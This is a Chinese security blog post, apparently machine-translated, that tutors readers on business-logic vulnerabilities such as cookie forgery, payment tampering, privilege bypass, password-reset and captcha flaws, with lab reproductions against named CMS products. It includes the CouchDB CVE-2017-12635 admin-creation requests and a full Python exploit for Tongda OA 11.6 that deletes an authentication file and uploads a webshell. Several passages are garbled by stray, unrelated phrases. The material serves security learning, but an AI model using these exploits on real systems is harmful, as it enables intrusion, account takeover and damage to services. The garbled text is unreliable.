本文首发于奇安信攻防社区
原文链接:
seoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/1970/01/beepress-image-177776-1650874174.gif” />
谈业务逻辑漏洞
业务逻辑漏洞介绍
业务逻辑漏洞是由于程序逻辑不精确或逻辑过于复杂,导致部分逻辑分支无法正常处理或处理错误。此类漏洞统称为业务逻辑漏洞。
简单理解:即程序员的思维逻辑不够严谨,导致攻击者钻空子
逻辑漏洞是一种经常存在的漏洞,虽然在owasp top10中没有提到。它就像一个隐士,躲在城市里,但伤害可能不亚于sql注入、xss等漏洞。以下是逻辑漏洞的十大挖掘方向:
根据漏洞位置总结
逻辑漏洞大概出现在以下几个地方。下面我们将根据发生的位置一一总结
登录部分逻辑漏洞,暴力破解用户名或密码
用户名和密码暴力破解的情况一般发生在登录部分没有验证码机制的情况下,不根据用户名限制失败次数,不根据用户名限制失败次数知识产权。
总体思路:
直接拿密码字典爆出某个用户名
取一个固定的弱密码,运行top xxx的用户名
如果只有用户名限制失败次数,可以使用idea 2的方法
在用户名或密码错误的情况下,可以分别爆出用户名和密码
常见限制:有时会发现用户名或密码被密文加密。这时候可能会被前端或者其他方式加密。简单来说,base64 编码和 md5 签名很容易看穿。什么时候可以选择编码和散列
使用 cookie 和会话
cookie 伪造
伪造cookie:通过修改cookie中的参数登录其他用户
测试方法:
1.使用账号登录,找到可以证明自己身份的页面,比如首页的欢迎xxx或者个人中心显示昵称的地方
2.刷新页面拦截请求,观察cookie中的字段和值,如userid=xxx,修改cookie中的值,将xxx改为admin
3.forword被释放,页面显示admin的信息,存在这个问题。
• 修复方式:对于客户端识别的用户信息,使用会话认证方式,避免通过cookie冒充他人身份。
会话固定攻击
会话固定攻击:利用服务器的会话不变性机制,诱使受害者使用攻击者指定的会话 id 的攻击方法
攻击步骤:
1.攻击者通过某种手段重置目标用户的会话id,然后监控用户的会话状态
目标用户使用攻击者设置的会话ID登录站点
攻击者通过会话id获取合法会话
• 攻击者重置会话id的方法:通过xss、嗅探等方法获取用户的会话,并修改数据包。
• 修复方法:每次登录成功后重新生成session,sessionID空闲时间过长时重置sessionID
案例-易云公益广告擅自修改漏洞
用户 A 制作广告,记住 id 是 420
用户B也创建广告,进入修改页面,截断修改请求,将id改为420
支付地点的逻辑漏洞
支付有很多逻辑漏洞,但一句话:数据篡改。
我们先来看一个支付逻辑漏洞的重现。
Tiny_shop CMS逻辑漏洞复现环境搭建
LAMP环境的安装直接省略了,phpstudy穿梭很舒服。将源码复制到phpstudy的WWW文件夹,启动lamp环境,即可进入安装页面
ps:环境搭建成功后,发现访问index页面显示空白页面。在老大的提醒下,发现我的php版本不对(7.x),换成php5.x版本再次访问
支付逻辑漏洞重现
首先点击顶部的登录按钮,登录默认账号test@test.com密码test(自己注册)
这里我们随机选择一款产品,选择好产品参数后,点击购买。
点击购买时,使用bp抓包。在数据包中,将表示商品数量的num变量改为负数,然后转发数据包。
这样,网站的漏洞就被成功利用到了店铺的羊毛
除了上述修改商品数量的方法外,支付处的逻辑漏洞还包括以下思路。由于操作比较简单类似,为了节省篇幅,这里只介绍使用思路。
修改商品代码
如果商家是通过货号来判断价格,可能只修改A货号为B货号,从而以A货的价格购买B货
条件竞争
在支付地点,多线程请求支付确认,如果余额为负,则漏洞存在
修改金额
金额直接写在post或者get请求中,进行修改,达到修改产品金额的效果
充值过程中的弃单无效
在充值中选择充值大单微信改密码参数错误,放弃订单,获取订单号,再为小订单充值,获取充值成功界面,将订单号改为放弃大订单,观察是否成功
商务办公 – 紫外线漏洞
之前跟ms08067的老大学习的时候,刚好写了相关的笔记,有幸发到了组织的公众号上。我去这里拿
0x01 前言:浅析非授权访问漏洞“授权”和“认证”的概念
要了解未授权访问的概念,首先要了解授权和验证的概念:授权是指网站授予特定人员对网站特定资源的读写权限。网站使用验证来检查操作员是否可以实际读取或写入特定资源
“未经授权的访问”
未授权访问是指用户可以直接访问需要认证的页面或文本信息,无需授权。
那么,什么是覆盖漏洞?
由于对用户权限没有严格的判断,低权限账户(如普通用户)可以完成高权限账户范围内的操作(如监督)。如果他们能够成功操作,则称为未经授权的操作。 未授权漏洞的原因是后台使用了不合理的权限验证规则。
未授权漏洞的原因
开发人员在操作数据时过于相信客户端请求的数据,而忽略了仔细确定客户端权限。
未经授权的攻击的常见位置
修改、重置、找回其他账户密码
查看和修改其他账户的未公开信息,如个人资料、文件、数据、程序等。
与帐户关联的权限操作
两类0x02未授权访问漏洞
超权限漏洞主要分为横向未授权访问和纵向未授权访问两大类。
横向越权访问:同一级别(权限)的用户或同一角色的不同用户可以未经授权访问、修改或删除的非法操作。如果出现此漏洞,可能会导致大量数据泄露,甚至导致恶意篡改用户信息。
例如,对于两个不同的公司A和B,通过修改请求,A公司可以任意修改B公司的员工、部门、考勤等信息。
垂直覆盖:表示权限较低的用户可以访问权限较高的用户
垂直过度伤害:
• 向上覆盖:普通用户可以进行管理员权限,如发表文章、删除文章等操作。
• 向下覆盖:高级用户可以访问低级用户信息(暴露用户隐私
例如,同一公司的员工 A 和经理 B。显然,他们在公司后台管理系统中拥有不同的账号管理权限。纵向覆盖通过修改请求,员工A可以修改不在其管辖范围内的员工、考勤、工资等(自提??)
关于上面介绍的总结,不如偷一张我亲爱的MS08067团队的讲师的照片
0x03 未经授权的访问漏洞在实践课中重现
水平覆盖metinfoV4.0覆盖漏洞重现
环境准备:
下载metinfoV4.0CMS建站源码
下载后将源码解压到phpstudy的web根目录下。
解压完成后使用浏览器访问网址进入安装目录创建普通用户登录
登录后进入修改基本信息页面,随意更改密码,同时点击上传信息
抓包,修改useid为管理员id
成功修改管理员账号密码为123456,尝试登录
登录成功,在界面样式->模板管理->添加新模板中发现了一个文件上传漏洞。将冰蝎木马压缩成zip文件并上传成功
查看编辑模板参数,报错,我们需要的是木马路径
使用 Ice Scorpion 服务器连接木马。执行成功
Ocean cms v9 未授权漏洞
环境准备
下载seacms9.0版本源码。还是用php部署,部署过程很简单。注意php+mysql的版本一般都是一路绿灯。
重现此漏洞需要注册两个网站帐号
1.test@test.com/1234562.ms08067/123456
漏洞重现
分别用chrome和微软浏览器登录两个账号
通过抓包得到ms08067用户的phpsessid为:df9jjuneuuqo5hgjjsid106km4
另外一个账号test@test.com的密码修改操作抓包,将sessid改成ms08067账号的sessid。试试把密码改成123456789,放开包,说明修改成功。
尝试用新密码登录ms08067账号,发现登录成功。
垂直覆盖
Couchdb 垂直权限绕过漏洞 (CVE-2017-12635)
漏洞描述
Apache CouchDB 是一个开源数据库,专注于易用性和“完全对 Web 友好的数据库”。它是一个 NoSQL 数据库,使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API。应用范围广泛,例如 BBC 用于其动态内容展示平台,Credit Suisse 用于其内部商品部门的市场框架,Meebo 用于其社交平台(网络和应用程序)。
2017年11月15日,CVE-2017-12635和CVE-2017-12636被披露,CVE-2017-12636是任意命令执行漏洞,我们可以通过config api修改couchdb配置query_server,这个配置项将在设计和执行视图时运行。
受影响的版本:1.7.0 和 2.1.1
环境建设
使用虚拟机安装docker,vulhub
cd vulhub/couchdb/CVE-2017-12635 #进入靶场目录docker-compose up -d #开启靶场docker ps #查看端口
一个小错误处理
p.s: 运行命令 docker-compose up -d 时出错。百度搜了一波,发现这是因为当前用户没有加入docker组。解决方法是运行命令
sudo gpasswd -a ${USER} docker
然后退出当前用户,比如切换到root,再切换回原来的用户。然后执行 docker-compose up -d 就ok了。
漏洞原理分析
由于 Erlang 和 JavaScript 解析 JSON 的方式不同,语句执行不同(对于给定的 key,Eralang 解析器会存储两个值,而 JavaScript 只存储第二个值)
示例:二郎:
jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{,},{,}]}
JavaScript:
JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
可用于允许非管理员用户授予自己管理员权限。
参考文章:
漏洞重现
访问服务器ip:5984并抓包,将抓包发送给中继器(Repeater)并将发送的数据改成如下(服务器IP地址为自己搭建的IP):
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}
返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”} 错误原因是只有管理员可以设置角色。通过向数据包添加角色字段来绕过限制
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}
使用新创建的用户qaq/666666成功登录
复制后记得销毁环境~执行目录下的命令
docker-compose down -v
0x04 未授权访问漏洞课外复现:
通达OA11.6版本未授权漏洞复现
环境建设
现在通达官网已经升级到第1版1.7,所以要下载第1版1.6,需要自己找资源
傻瓜式安装,配置界面如下。安装完成后,您现在可以不用管它。记得联系80端口占用(一般是关闭phpstudy)
安装后,您可以访问网站的主页。人工重现这个漏洞的过程比较简单,执行exp写马就好了。
exp:
脚本内容如下,核心思想是删除网站中一个名为auth.inc.php的文件,然后无权取壳
import requests#填写iptarget="http://ip/"#一句话木马的密码是qaqpayload=""print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#删除网站里的一个名为auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file")
注意这个EXP不是无损EXP,会删除auth.inc.php,导致OA不能正常工作
带壳的蚂蚁剑
程序执行后会出现一个URL,就是木马所在的位置。使用webshell管理工具(如蚂蚁剑链接)
dedecms v5.7 未经授权的漏洞重现
环境建设
使用phpstudy搭建,下载源码复制到根目录安装
用户名admin密码admin进入后台,系统设置->系统基本参数->会员设置,设置是否开启会员功能一栏为yes
然后回到网站首页,注册一个账号,记得不要问设施安全问题
然后回到后台,将等待验证邮件改为:“审批通过,提示填写完整信息”
进入用户test123的个人中心微信改密码参数错误,打开bp抓包,用last_vid_ckMd5覆盖DedeUserID_ckMD5。修改后发布包
此时发现test123用户已经变成了admin
使用F12打开控制台,进入存储,仍然用last_vid_ckMd5覆盖DedeUserID_ckMD5。修改DedeUserID的值为test123.
刷新捕获的数据包并将其发送到转发器
将location后的网址从http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改为http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E
关闭代理访问以更改管理员帐户密码
0x05 后记
归根结底,超授权漏洞的出现是由于网站开发者和管理者的授权意识薄弱,滥用授权造成的。因此,授权应遵循以下原则:
1.用最小权限原则赋能用户,把权限当成不拔毛的铁公鸡。
2.使用合理(严格)的权限验证规则;
3.使用后台登录状态作为权限判断条件(不要只使用前端传入的条件)
密码检索的逻辑漏洞
方法很多,思路重复。这里我会选择重要的
退票
返回凭证的三种方式:
1.url 返回凭据
2. 数据包捕获和返回凭据
3.凭证在页面中
方法:
1. URL返回凭证 使用firefox的firebug查看请求链接,看链接中是否有验证码等密码找回凭证 2. 抓包直接返回 根据手机号找回密码后抓包,可以发现验证码直接显示 verifycode=xxxx,如果信息被加密,解密即可(其他信息同理) 3. 密码找回凭证在页面中 通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示
弱电子邮件令牌
1.Unix 时间戳 + md5
通过邮箱找回密码,正常流程去邮箱查看重置密码链接,发现链接处有一串 md5 加密字符串。字符串解密,类似 1491293277(10位),可以判断为Unix时间戳。
重置他人密码只需利用他人邮箱发送重置密码邮件,在短时间内对Unix时间戳进行暴力破解,即可获得重置密码的链接
用户名
重置密码链接直接使用用户名进行区别,改变用户名即可更改他人密码
服务器时间
利用两个帐号同时点击找回密码,去邮箱查看找回密码的链接,发现两者的随机 token 只差1-2,而且可以猜测
出为服务器时间。所以可以用一个未知帐号和一个已知帐号同时点击找回密码,稍微遍历随机 token,就可以构造出未
知帐号的密码找回链接
生成可控令牌
例子:
比如我们通过邮箱找回密码时,在正常流程下抓包查看提交验证码后返回的数据,有一个加密字符串。此加密字符串与 URL 链接中的加密字符串相同,以便稍后重置新密码。所以你可以使用这个加密字符串来控制新密码url中的加密字符串。因此,根据上面提交的验证码抓包,修改User为其他用户(User可能使用md5加密),发送返回其他用户的加密字符串。然后回到密码恢复首页,使用其他用户找回,点击下一步,进入输入验证码,直接修改网址链接,添加加密字符串,可以直接绕过验证码重置密码。
验证码逻辑漏洞
突破:
要了解常见的验证码机制:
有些验证码一次性输入正确,在一定时间内不需要再次输入。
部分验证码输入一次正确,会在你的session中设置一个值,告诉服务器你已经通过验证码验证。
由于逻辑问题,有些验证码只是装饰。正常的逻辑是先对比验证码是否正确,再检查账号密码是否正确。反过来又变成了装饰品
时间和时代的突破:
概念:重复提交携带验证码的数据包,检查返回包,确定次数
测试方法:
填写正确的登录信息和验证码 –> 抓取并提交数据包 –> 重复提交数据包 –> 检查是否登录成功 –> 如果登录成功,则有问题重复使用验证码
回声测试:
概念:验证码由客户端直接生成,显示在echo中,可以通过浏览器工具直接查看
测试方法:
1. 显示在源代码中。源代码审计,查源代码获取验证码
2. 在 COOKIE 中显示。抓包时分析cookie是否包含验证码
绕过验证码:
漏洞原因:
由于逻辑设计缺陷,可以绕过验证,比如直接删除COOKIE或者验证码参数可以绕过,验证失败时清除session。验证码参数值为空等时绕过。
测试方法:
步骤1.输入正确的账号信息和错误的验证码,登录时抓包
步骤2.删除COOKIE
步骤3.客户端登录成功
特殊姿势:篡改电话号码
在需要手机号的短信验证地方,抓包修改手机号,可以在没有本账号手机号的情况下获取可以编辑账号的验证码
后记
逻辑漏洞看似复杂,杂乱无章的花朵逐渐引人入胜。不过其实思路很简单:前端、后端、后端依次枚举漏洞点。事实上,考验的是你的耐心、细心和专注力。
参考链接
觉得文章不错,请发三波! ! !
请登录后发表评论
注册
社交帐号登录